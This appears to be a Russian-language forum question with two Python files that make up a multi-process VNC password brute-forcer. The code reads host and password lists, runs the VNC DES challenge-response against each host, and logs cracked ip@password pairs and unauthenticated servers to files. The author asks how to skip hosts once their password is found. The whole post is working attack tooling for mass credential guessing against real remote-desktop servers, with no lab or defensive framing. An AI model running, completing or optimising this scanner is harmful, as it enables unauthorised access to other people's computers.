Когда часть программы отвечающая за проверку пароля, к хосту получает валидный результат, она его запыссывает в файл. С этим все хорошо. Но после этого, программа все еще продолжает подбирать пароли к уже готовому хосту. Как сделать так, что бы хост, к которому пароль подобран, больше не проверялся?
Вот два файла которые все делают.
main.py
from multiprocessing import Pool from moduls.BruteModule import BruteModule, GoodException import argparse class MainBruteVNC(object): def __init__(self, ipFile, passwordFile, outFile, threadsCount, port, processCount=2): self.ipFile = ipFile self.outFile = outFile self.port = port self.threadsCount = threadsCount self.processCount = processCount self.passwordFile = passwordFile def buildPasswordList(self): f = open(self.passwordFile, 'r').readlines() passList = [] for p in f: passList.append(p.rstrip()) return passList def buildIpList(self): f = open(self.ipFile, 'r').readlines() ipList = [] for ip in f: ipList.append(ip.rstrip()) return ipList def mainBrute(self, password): bruteVNC = BruteModule(self.ipList, self.outFile, password, self.port, self.threadsCount) bruteVNC.runTestIp() def runMainBrute(self): self.ipList = self.buildIpList() pool = Pool(self.processCount) passwordList = self.buildPasswordList() pool.map(self.mainBrute, passwordList) pool.close() pool.join() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-H", help="Hosts File", type=str) parser.add_argument("-P", help="Passwords File", type=str) parser.add_argument("-O", help="Out File", type=str) parser.add_argument("-T", help="Threads Count", type=int) parser.add_argument("-Po", help="Port", type=int) parser.add_argument("-Pc", help="Process Count", type=int) args = parser.parse_args() mainBrute = MainBruteVNC(args.H, args.P, args.O, args.T, args.Po, args.Pc) mainBrute.runMainBrute()
BruteModule.py
import socket from Crypto.Cipher import DES from multiprocessing.dummy import Pool class GoodException(Exception): def __init__(self, ip): Exception.__init__(self) self.ip = ip class BruteModule(object): def __init__(self, ipList, outFile, password, port, threadsCount): self.ipList = ipList self.outFile = outFile self.password = password self.port = port self.threadsCount = threadsCount def writeResult(self, ip, password): f = open(self.outFile, 'a') f.write(ip + '@' + password + '\n') f.close() def writeResultNoAuth(self, result): f = open('NoAuthVNC.txt') try: f.write(result + '\n') f.close() except Exception: f.close() def genKey(self, key): newkey = [] for ki in range(len(key)): bsrc = ord(key[ki]) btgt = 0 for i in range(8): if bsrc & (1 << i): btgt = btgt | (1 << 7 - i) newkey.append(btgt) return bytes(newkey) def testIp(self, ip): print('Try ip: ' + ip + ' Password: ' + self.password) try: vnc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) vnc.settimeout(2) vnc.connect((ip, self.port)) vnc_ver = vnc.recv(12) vnc.send(vnc_ver) vncres = vnc.recv(1024) except Exception: return False if b'\x02' in vncres: try: vnc.send(b'\x02') vncres = vnc.recv(99) pw = self.password.ljust(8, '\x00')[:8] key = self.genKey(pw) des = DES.new(key, DES.MODE_ECB) enc = des.encrypt(vncres) vnc.send(enc) res = vnc.recv(99) vnc.close() except Exception: return False if b'\x00\x00\x00\x00' in res: print('Good server: IP' + ip + '@' + self.password) self.writeResult(ip, self.password) # raise GoodException(ip) else: return False else: self.writeResultNoAuth(ip) def runTestIp(self): pool = Pool(self.threadsCount) pool.map(self.testIp, self.ipList) pool.close() pool.join()